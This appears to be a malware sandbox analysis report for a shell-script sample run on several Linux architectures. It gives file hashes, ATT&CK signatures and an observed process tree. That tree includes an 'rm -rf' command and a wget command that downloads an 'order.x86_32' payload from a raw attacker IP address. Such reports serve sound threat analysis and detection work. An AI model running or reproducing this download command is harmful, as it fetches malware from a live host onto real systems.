Analysis
- max time kernel
149s - max time network
151s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
13/09/2026, 16:49
Static task
static1
Behavioral task
behavioral1
Sample
4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
Resource
debian9-mipsel-20260513-en
General
- Target 4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh
- Size 832KB
- Sample260913-vb22xazfqd
- SHA256 4d1bfef7a26d0f17230f5500d80bbebfe34eaaa1ce9c798f6e14141f1ccc8813
- MD5 9a58e99fe84529439e936ce2d7fb62c5
- SHA1 08814e022ba277ae7f4fce14993037cd1e1f1676
- SHA512 bc6ef5fe08d25a292814a5dbc29ed0e277c01c9b71c274f333dc8e7a6691139491cbb656cbf10fc91f755a969c18126e10d2fcee3523b39cd56fc3a963661985
- SSDEEP 24576:V4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeZ:z/o8ZatHiw5ycMVmKkeZ
- TLSH T12D052308B11B8C38ED4E7C8CE49AEFDD052520A28B95E1475A6534AEBE347DC807B75F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 708 4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sh-thd.ckyqgH 4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh File opened for modification /tmp/order.x86_32 wget
Processes
-
/tmp/4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh/tmp/4e0618541b8213d6b93fbe491d53094242da39f1a3d8fb6edc9687af13b4de60_offset-manipulation.sh1⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:708 -
/bin/rmrm -rf "cat.sh "2⤵PID:715
-
-
/usr/bin/wgetwget http://176.65.139.235/order.x86_32 -O order.x86_322⤵
- Writes file to tmp directory
PID:720
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/sh-thd.ckyqgH
- Size 827KB
- SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
- MD5 e4aa53f6cfe2dae8bce2aea3840f32f3
- SHA1 b8254c8a68f2311b21382d1546a663a821b09415
- SHA512 58c556b82e9b11e91783d54db0a49f3c7e3ff274a6ff68fa7605831bf874cc8860a994ed77c04aac6e7610dd6e49b8a603d80cfa645290432cbb9be99c4a400b
- SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7Oyr:8e8xyxNwybCacd7cWOyr
- TLSH T14D052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
- MD5 SHA1 SHA512 SSDEEP TLSH